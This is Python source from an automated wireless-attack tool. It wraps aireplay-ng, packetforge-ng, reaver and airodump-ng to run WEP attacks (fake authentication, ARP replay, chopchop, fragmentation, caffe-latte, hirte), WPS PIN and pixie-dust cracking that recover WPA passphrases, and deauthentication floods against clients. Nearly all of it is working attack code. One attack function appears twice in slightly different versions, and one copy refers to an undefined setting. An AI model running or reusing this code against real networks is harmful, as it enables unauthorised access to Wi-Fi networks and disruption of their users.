class Aireplay(Thread): def __init__(self, target, attack_type, client_mac=None, replay_file=None): ''' Starts aireplay process. Args: target - Instance of Target object, AP to attack. attack_type - str, e.g. "fakeauth", "arpreplay", etc. client_mac - MAC address of an associated client. ''' super(Aireplay, self).__init__() # Init the parent Thread self.target = target self.output_file = Configuration.temp("aireplay_%s.output" % attack_type) self.attack_type = WEPAttackType(attack_type).value self.error = None self.status = None self.cmd = Aireplay.get_aireplay_command(self.target, attack_type, client_mac=client_mac, replay_file=replay_file) self.pid = Process(self.cmd, stdout=open(self.output_file, 'a'), stderr=Process.devnull(), cwd=Configuration.temp()) self.start() def is_running(self): return self.pid.poll() is None def stop(self): ''' Stops aireplay process ''' if hasattr(self, "pid") and self.pid and self.pid.poll() is None: self.pid.interrupt() def get_output(self): ''' Returns stdout from aireplay process ''' return self.pid.stdout() def run(self): while self.pid.poll() is None: time.sleep(0.1) if not os.path.exists(self.output_file): continue # Read output file & clear output file with open(self.output_file, "r+") as fid: lines = fid.read() fid.seek(0) fid.truncate() for line in lines.split("\n"): line = line.replace("\r", "").strip() if line == "": continue if "Notice: got a deauth/disassoc packet" in line: self.error = "Not associated (needs fakeauth)" if self.attack_type == WEPAttackType.fakeauth: # Look for fakeauth status. Potential Output lines: # (START): 00:54:58 Sending Authentication Request (Open System) if "Sending Authentication Request " in line: self.status = None # Reset # (????): Please specify an ESSID (-e). elif "Please specify an ESSID" in line: self.status = None # (FAIL): 00:57:43 Got a deauthentication packet! (Waiting 3 seconds) elif "Got a deauthentication packet!" in line: self.status = False # (PASS): 20:17:25 Association successful :-) (AID: 1) # (PASS): 20:18:55 Reassociation successful :-) (AID: 1) elif "association successful :-)" in line.lower(): self.status = True elif self.attack_type == WEPAttackType.chopchop: # Look for chopchop status. Potential output lines: # (START) Read 178 packets... read_re = re.compile(r"Read (\d+) packets") matches = read_re.match(line) if matches: self.status = "Waiting for packet (read %s)..." % matches.group( 1) # (DURING) Offset 52 (54% done) | xor = DE | pt = E0 | 152 frames written in 2782ms offset_re = re.compile(r"Offset.*\(\s*(\d+%) done\)") matches = offset_re.match(line) if matches: self.status = "Generating Xor (%s)" % matches.group(1) # (DONE) Saving keystream in replay_dec-0516-202246.xor saving_re = re.compile(r"Saving keystream in (.*\.xor)") matches = saving_re.match(line) if matches: self.status = matches.group(1) pass elif self.attack_type == WEPAttackType.fragment: # TODO: Parse fragment output, update self.status # 01:08:15 Waiting for a data packet... # 01:08:17 Sending fragmented packet # 01:08:37 Still nothing, trying another packet... # XX:XX:XX Trying to get 1500 bytes of a keystream # XX:XX:XX Got RELAYED packet!! # XX:XX:XX Thats our ARP packet! # XX:XX:XX Saving keystream in fragment-0124-161129.xor # XX:XX:XX Now you can build a packet with packetforge-ng out of that 1500 bytes keystream pass else: # Replay, forged replay, etc. # Parse Packets Sent & PacketsPerSecond. Possible output lines: # Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps) # Read 4467 packets (got 1425 ARP requests and 1417 ACKs), sent 1553 packets...(100 pps) read_re = re.compile( r"Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)" ) matches = read_re.match(line) if matches: pps = matches.group(5) if pps == "0": self.status = "Waiting for packet..." else: self.status = "Replaying packet @ %s/sec" % pps pass def __del__(self): self.stop() @staticmethod def get_aireplay_command(target, attack_type, client_mac=None, replay_file=None): ''' Generates aireplay command based on target and attack type Args: target - Instance of Target object, AP to attack. attack_type - int, str, or WEPAttackType instance. client_mac - MAC address of an associated client. replay_file - .Cap file to replay via --arpreplay ''' # Interface is required at this point Configuration.initialize() if Configuration.interface is None: raise Exception("Wireless interface must be defined (-i)") cmd = ["aireplay-ng"] cmd.append("--ignore-negative-one") if not client_mac and len(target.clients) > 0: # Client MAC wasn't specified, but there's an associated client. Use that. client_mac = target.clients[0].station # type(attack_type) might be str, int, or WEPAttackType. # Find the appropriate attack enum. attack_type = WEPAttackType(attack_type).value if attack_type == WEPAttackType.fakeauth: cmd.extend([ "--fakeauth", "30", # Fake auth every 30 seconds "-Q", # Send re-association packets "-a", target.bssid ]) if target.essid_known: cmd.extend(["-e", target.essid]) elif attack_type == WEPAttackType.replay: cmd.extend([ "--arpreplay", "-b", target.bssid, "-x", str(Configuration.wep_pps) ]) if client_mac: cmd.extend(["-h", client_mac]) elif attack_type == WEPAttackType.chopchop: cmd.extend([ "--chopchop", "-b", target.bssid, "-x", str(Configuration.wep_pps), #"-m", "60", # Minimum packet length (bytes) #"-n", "82", # Maximum packet length "-F" # Automatically choose first packet ]) if client_mac: cmd.extend(["-h", client_mac]) elif attack_type == WEPAttackType.fragment: cmd.extend([ "--fragment", "-b", target.bssid, "-x", str(Configuration.wep_pps), "-m", "100", # Minimum packet length (bytes) "-F" # Automatically choose first packet ]) if client_mac: cmd.extend(["-h", client_mac]) elif attack_type == WEPAttackType.caffelatte: if len(target.clients) == 0: # Unable to carry out caffe-latte attack raise Exception("Client is required for caffe-latte attack") cmd.extend([ "--caffe-latte", "-b", target.bssid, "-h", target.clients[0].station ]) elif attack_type == WEPAttackType.p0841: cmd.extend([ "--arpreplay", "-b", target.bssid, "-c", "ff:ff:ff:ff:ff:ff", "-x", str(Configuration.wep_pps), "-F", # Automatically choose first packet "-p", "0841" ]) if client_mac: cmd.extend(["-h", client_mac]) elif attack_type == WEPAttackType.hirte: if client_mac is None: # Unable to carry out hirte attack raise Exception("Client is required for hirte attack") cmd.extend(["--cfrag", "-h", client_mac]) elif attack_type == WEPAttackType.forgedreplay: if client_mac is None or replay_file is None: raise Exception( "Client_mac and Replay_File are required for arp replay") cmd.extend([ "--arpreplay", "-b", target.bssid, "-h", client_mac, "-r", replay_file, "-F", # Automatically choose first packet "-x", str(Configuration.wep_pps) ]) else: raise Exception("Unexpected attack type: %s" % attack_type) cmd.append(Configuration.interface) return cmd @staticmethod def get_xor(): ''' Finds the last .xor file in the directory ''' xor = None for fil in os.listdir(Configuration.temp()): if fil.startswith('replay_') and fil.endswith('.xor') or \ fil.startswith('fragment-') and fil.endswith('.xor'): xor = fil return xor @staticmethod def forge_packet(xor_file, bssid, station_mac): ''' Forges packet from .xor file ''' forged_file = 'forged.cap' cmd = [ 'packetforge-ng', '-0', '-a', bssid, # Target MAC '-h', station_mac, # Client MAC '-k', '192.168.1.2', # Dest IP '-l', '192.168.1.100', # Source IP '-y', xor_file, # Read PRNG from .xor file '-w', forged_file, # Write to Configuration.interface ] cmd = '"%s"' % '" "'.join(cmd) (out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True) if out.strip() == 'Wrote packet to: %s' % forged_file: return forged_file else: from Color import Color Color.pl('{!} {R}failed to forge packet from .xor file{W}') Color.pl('output:\n"%s"' % out) return None @staticmethod def deauth(target_bssid, essid=None, client_mac=None, num_deauths=None, timeout=2): num_deauths = num_deauths or Configuration.num_deauths deauth_cmd = [ "aireplay-ng", "-0", # Deauthentication str(num_deauths), "--ignore-negative-one", "-a", target_bssid, # Target AP "-D" # Skip AP detection ] if client_mac is not None: # Station-specific deauth deauth_cmd.extend(["-c", client_mac]) if essid: deauth_cmd.extend(["-e", essid]) deauth_cmd.append(Configuration.interface) proc = Process(deauth_cmd) while proc.poll() is None: if proc.running_time() >= timeout: proc.interrupt() time.sleep(0.2) @staticmethod def fakeauth(target, timeout=5, num_attempts=3): ''' Tries a one-time fake-authenticate with a target AP. Params: target (py.Target): Instance of py.Target timeout (int): Time to wait for fakeuth to succeed. num_attempts (int): Number of fakeauth attempts to make. Returns: (bool): True if fakeauth succeeds, otherwise False ''' cmd = [ 'aireplay-ng', '-1', '0', # Fake auth, no delay '-a', target.bssid, '-T', str(num_attempts) ] if target.essid_known: cmd.extend(['-e', target.essid]) cmd.append(Configuration.interface) fakeauth_proc = Process(cmd, devnull=False, cwd=Configuration.temp()) timer = Timer(timeout) while fakeauth_proc.poll() is None and not timer.ended(): time.sleep(0.1) if fakeauth_proc.poll() is None or timer.ended(): fakeauth_proc.interrupt() return False output = fakeauth_proc.stdout() return 'association successful' in output.lower()
def run_pixiedust_attack(self): # Write reaver stdout to file. self.stdout_file = Configuration.temp('reaver.out') if os.path.exists(self.stdout_file): os.remove(self.stdout_file) command = [ 'reaver', '-i', Configuration.interface, '-b', self.target.bssid, '-c', self.target.channel, '-K', '1', # pixie-dust attack '-a', # Automatically restart session '-vv' # (very) verbose ] stdout_write = open(self.stdout_file, 'a') reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) pin = None step = '0) initializing' time_since_last_step = 0 while True: time.sleep(1) Color.clear_line() Color.p('\r{+} {C}WPS pixie-dust attack{W} ') stdout_write.flush() # Check output from reaver process stdout = self.get_stdout() stdout_last_line = stdout.split('\n')[-1] (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) # Check if we cracked it, or if process stopped. if (pin and psk and ssid) or reaver.poll() != None: reaver.interrupt() # Check one-last-time for PIN/PSK/SSID, in case of race condition. stdout = self.get_stdout() (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout) # Check if we cracked it. if pin and psk and ssid: # We cracked it. bssid = self.target.bssid Color.pl('\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n') self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) self.crack_result.dump() return True else: # Failed to crack, reaver proces ended. Color.pl('{R}failed: {O}WPS pin not found{W}') return False last_step = step # Status updates, depending on last line of stdout if 'Waiting for beacon from' in stdout_last_line: step = '({C}step 1/8{W}) waiting for beacon' elif 'Associated with' in stdout_last_line: step = '({C}step 2/8{W}) waiting to start session' elif 'Starting Cracking Session.' in stdout_last_line: step = '({C}step 3/8{W}) waiting to try pin' elif 'Trying pin' in stdout_last_line: step = '({C}step 4/8{W}) trying pin' elif 'Sending EAPOL START request' in stdout_last_line: step = '({C}step 5/8{W}) sending eapol start request' elif 'Sending identity response' in stdout_last_line: step = '({C}step 6/8{W}) sending identity response' elif 'Sending M2 message' in stdout_last_line: step = '({C}step 7/8{W}) sending m2 message (may take a while)' elif 'Detected AP rate limiting,' in stdout_last_line: if Configuration.wps_skip_rate_limit: Color.pl('{R}failed: {O}hit WPS rate-limit{W}') Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' + ' this kind of failure in the future{W}') break step = '({C}step -/8{W}) waiting for AP rate limit' if 'WPS pin not found' in stdout: Color.pl('{R}failed: {O}WPS pin not found{W}') break if step != last_step: # Step changed, reset step timer time_since_last_step = 0 else: time_since_last_step += 1 if time_since_last_step > Configuration.wps_pixie_step_timeout: Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) break # TODO: Timeout check if reaver.running_time() > Configuration.wps_pixie_timeout: Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) break # Reaver Failure/Timeout check fail_count = stdout.count('WPS transaction failed') if fail_count > Configuration.wps_fail_threshold: Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) break timeout_count = stdout.count('Receive timeout occurred') if timeout_count > Configuration.wps_timeout_threshold: Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) break # Display status of Pixie-Dust attack Color.p('{W}%s{W}' % step) continue # Attack failed, already printed reason why reaver.interrupt() stdout_write.close() return False
def run_wps_pin_attack(self): # Write reaver stdout to file. self.stdout_file = Configuration.temp('reaver.out') if os.path.exists(self.stdout_file): os.remove(self.stdout_file) stdout_write = open(self.stdout_file, 'a') # Start reaver process command = [ 'reaver', '-i', Configuration.interface, '-b', self.target.bssid, '-c', self.target.channel, '-a', # Automatically restart session '-vv' # verbose ] reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) self.success = False pins = set() pin_current = 0 pin_total = 11000 failures = 0 state = 'initializing' while True: time.sleep(1) percent = 100 * float(pin_current) / float(pin_total) Color.clear_line() Color.p('\r{+} {C}WPS PIN attack{W} (') Color.p('{G}%.2f%% done{W}, ' % percent) Color.p('{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)) Color.p('{R}%d/%d failures{W}) ' % (failures, \ Configuration.wps_fail_threshold)) if failures >= Configuration.wps_fail_threshold: Color.pl('{R}failed: {O}too many failures{W}') break # Get output out = self.get_stdout() # Clear output file f = open(self.stdout_file, 'w') f.write('') f.close() # CHECK FOR CRACK (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out) if pin and psk and ssid: # We cracked it. self.success = True Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n') self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) self.crack_result.dump() break # PIN PROGRESS # Reaver 1.5.* match = None for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out): # Look at last entry for "Pin count advanced" to get latest pin count pass if match: # Reset failures on successful try failures = 0 groups = match.groups() pin_current = int(groups[0]) pin_total = int(groups[1]) # Reaver 1.3, 1.4 match = None for match in re.finditer('Trying pin (\d+)', out): if match: pin = int(match.groups()[0]) if pin not in pins: # Reset failures on successful try failures = 0 pins.add(pin) pin_current += 1 # Failures if 'WPS transaction failed' in out: failures += out.count('WPS transaction failed') elif 'Receive timeout occurred' in out: # Reaver 1.4 failures += out.count('Receive timeout occurred') # Status if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}' if 'Starting Cracking Session' in out: state = '{C}cracking{W}' # Reaver 1.4 if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}' if 'Detected AP rate limiting' in out: state = '{R}rate-limited{W}' if Configuration.wps_skip_rate_limit: Color.pl(state) Color.pl('{!} {R}hit rate limit, stopping{W}\n') Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' + ' this kind of failure in the future{W}') break if 'WARNING: Failed to associate with' in out: # TODO: Fail after X association failures (instead of just one) Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}') break match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out) if match: eta = match.groups()[0] state = '{C}cracking, ETA: {G}%s{W}' % eta match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out) if match: eta = match.groups()[0] state = '{C}cracking, ETA: {G}%s{W}' % eta pins_left = int(match.groups()[1]) # Divine pin_current & pin_total from this: pin_current = 11000 - pins_left # Check if process is still running if reaver.pid.poll() != None: Color.pl('{R}failed{W}') Color.pl('{!} {R}reaver{O} quit unexpectedly{W}') self.success = False break # Output the current state Color.p(state) ''' [+] Waiting for beacon from AA:BB:CC:DD:EE:FF [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>) [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000 [+] Trying pin 12345670. [+] Pin count advanced: 46. Max pin attempts: 11000 [!] WPS transaction failed (code: 0x02), re-trying last pin [!] WPS transaction failed (code: 0x03), re-trying last pin [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445) [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking [!] WARNING: 25 successive start failures [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217) [+] 0.55% complete. Elapsed time: 0d0h2m21s. [+] Estimated Remaining time: 0d15h11m35s [+] Pin cracked in 7 seconds [+] WPS PIN: '12345678' [+] WPA PSK: 'abcdefgh' [+] AP SSID: 'Test Router' Reaver 1.4: [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try) [!] WARNING: Receive timeout occurred ''' reaver.interrupt() return self.success
def run_pixiedust_attack(self): # Write reaver stdout to file. self.stdout_file = Configuration.temp('reaver.out') if os.path.exists(self.stdout_file): os.remove(self.stdout_file) command = [ 'reaver', '-i', Configuration.interface, '-b', self.target.bssid, '-c', self.target.channel, '-K', '1', # pixie-dust attack '-a', # Automatically restart session '-vv' # (very) verbose ] stdout_write = open(self.stdout_file, 'a') reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) pin = None step = '0) initializing' while True: time.sleep(1) Color.clear_line() Color.p('\r{+} {C}WPS pixie-dust attack{W} ') stdout_write.flush() # Check output from reaver process stdout = self.get_stdout() stdout_last_line = stdout.split('\n')[-1] (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) # Check if we cracked it, or if process stopped. if (pin and psk and ssid) or reaver.poll() != None: reaver.interrupt() # Check one-last-time for PIN/PSK/SSID, in case of race condition. stdout = self.get_stdout() (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout) # Check if we cracked it. if pin and psk and ssid: # We cracked it. bssid = self.target.bssid Color.pl( '\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n') self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) self.crack_result.dump() return True else: # Failed to crack, reaver proces ended. Color.pl('{R}failed: {O}WPS pin not found{W}') return False # Status updates, depending on last line of stdout if 'Waiting for beacon from' in stdout_last_line: step = '({C}step 1/8{W}) waiting for beacon' elif 'Associated with' in stdout_last_line: step = '({C}step 2/8{W}) waiting to start session' elif 'Starting Cracking Session.' in stdout_last_line: step = '({C}step 3/8{W}) waiting to try pin' elif 'Trying pin' in stdout_last_line: step = '({C}step 4/8{W}) trying pin' elif 'Sending EAPOL START request' in stdout_last_line: step = '({C}step 5/8{W}) sending eapol start request' elif 'Sending identity response' in stdout_last_line: step = '({C}step 6/8{W}) sending identity response' elif 'Sending M2 message' in stdout_last_line: step = '({C}step 7/8{W}) sending m2 message (may take a while)' elif 'Detected AP rate limiting,' in stdout_last_line: if Configuration.wps_skip_rate_limit: Color.pl('{R}failed: {O}hit WPS rate-limit{W}') # TODO: Argument for --ignore-rate-limit ''' Color.pl('{!} {O}use {R}--ignore-rate-limit{O} to ignore' + ' this kind of failure in the future') ''' break step = '({C}step -/8{W}) waiting for AP rate limit' if 'WPS pin not found' in stdout: Color.pl('{R}failed: {O}WPS pin not found{W}') break # TODO: Timeout check if reaver.running_time() > Configuration.wps_pixie_timeout: Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_timeout) break # Reaver Failure/Timeout check fail_count = stdout.count('WPS transaction failed') if fail_count > Configuration.wps_fail_threshold: Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) break timeout_count = stdout.count('Receive timeout occurred') if timeout_count > Configuration.wps_timeout_threshold: Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) break # Display status of Pixie-Dust attack Color.p('{W}%s{W}' % step) continue # Attack failed, already printed reason why reaver.interrupt() stdout_write.close() return False
class Airodump(object): ''' Wrapper around airodump-ng program ''' def __init__(self, interface=None, channel=None, encryption=None,\ wps=False, target_bssid=None, output_file_prefix='airodump',\ ivs_only=False, skip_wash=False): ''' Sets up airodump arguments, doesn't start process yet ''' Configuration.initialize() if interface == None: interface = Configuration.interface if interface == None: raise Exception("Wireless interface must be defined (-i)") self.interface = interface self.targets = [] if channel == None: channel = Configuration.target_channel self.channel = channel self.five_ghz = Configuration.five_ghz self.encryption = encryption self.wps = wps self.target_bssid = target_bssid self.output_file_prefix = output_file_prefix self.ivs_only = ivs_only self.skip_wash = skip_wash # For tracking decloaked APs (previously were hidden) self.decloaking = False self.decloaked_targets = [] self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth def __enter__(self): ''' Setting things up for this context. Called at start of 'with Airodump(...) as x:' Actually starts the airodump process. ''' self.delete_airodump_temp_files() self.csv_file_prefix = Configuration.temp() + self.output_file_prefix # Build the command command = [ 'airodump-ng', self.interface, '-a', # Only show associated clients '-w', self.csv_file_prefix, # Output file prefix '--write-interval', '1' # Write every second ] if self.channel: command.extend(['-c', str(self.channel)]) elif self.five_ghz: command.extend(['--band', 'a']) if self.encryption: command.extend(['--enc', self.encryption]) if self.wps: command.extend(['--wps']) if self.target_bssid: command.extend(['--bssid', self.target_bssid]) if self.ivs_only: command.extend(['--output-format', 'ivs,csv']) else: command.extend(['--output-format', 'pcap,csv']) # Start the process self.pid = Process(command, devnull=True) return self def __exit__(self, type, value, traceback): ''' Tearing things down since the context is being exited. Called after 'with Airodump(...)' goes out of scope. ''' # Kill the process self.pid.interrupt() # Delete temp files self.delete_airodump_temp_files() def find_files(self, endswith=None): ''' Finds all files in the temp directory that start with the output_file_prefix ''' result = [] for fil in os.listdir(Configuration.temp()): if fil.startswith(self.output_file_prefix): if not endswith or fil.endswith(endswith): result.append(Configuration.temp() + fil) return result def delete_airodump_temp_files(self): ''' Deletes airodump* files in the temp directory. Also deletes replay_*.cap and *.xor files in pwd. ''' # Remove all temp files for fil in self.find_files(): os.remove(fil) # Remove .cap and .xor files from pwd for fil in os.listdir('.'): if fil.startswith('replay_') and fil.endswith('.cap'): os.remove(fil) if fil.endswith('.xor'): os.remove(fil) def get_targets(self, apply_filter=True): ''' Parses airodump's CSV file, returns list of Targets ''' # Find the .CSV file csv_filename = None for fil in self.find_files(endswith='-01.csv'): # Found the file csv_filename = fil break if csv_filename == None or not os.path.exists(csv_filename): # No file found return self.targets # Parse the .CSV file targets = Airodump.get_targets_from_csv(csv_filename) # Check targets for WPS if not self.skip_wash: capfile = csv_filename[:-3] + 'cap' Wash.check_for_wps_and_update_targets(capfile, targets) if apply_filter: # Filter targets based on encryption & WPS capability targets = Airodump.filter_targets(targets, skip_wash=self.skip_wash) # Sort by power targets.sort(key=lambda x: x.power, reverse=True) for old_target in self.targets: for new_target in targets: if old_target.bssid != new_target.bssid: continue if new_target.essid_known and not old_target.essid_known: # We decloaked a target! self.decloaked_targets.append(new_target) self.targets = targets self.deauth_hidden_targets() return self.targets @staticmethod def get_targets_from_csv(csv_filename): ''' Returns list of Target objects parsed from CSV file ''' targets = [] import csv with open(csv_filename, 'rb') as csvopen: lines = (line.replace('\0', '') for line in csvopen) csv_reader = csv.reader(lines, delimiter=',') hit_clients = False for row in csv_reader: # Each "row" is a list of fields for a target/client if len(row) == 0: continue if row[0].strip() == 'BSSID': # This is the "header" for the list of Targets hit_clients = False continue elif row[0].strip() == 'Station MAC': # This is the "header" for the list of Clients hit_clients = True continue if hit_clients: # The current row corresponds to a "Client" (computer) try: client = Client(row) except IndexError, ValueError: # Skip if we can't parse the client row continue if 'not associated' in client.bssid: # Ignore unassociated clients continue # Add this client to the appropriate Target for t in targets: if t.bssid == client.bssid: t.clients.append(client) break else: # The current row corresponds to a "Target" (router) try: target = Target(row) targets.append(target) except Exception: continue return targets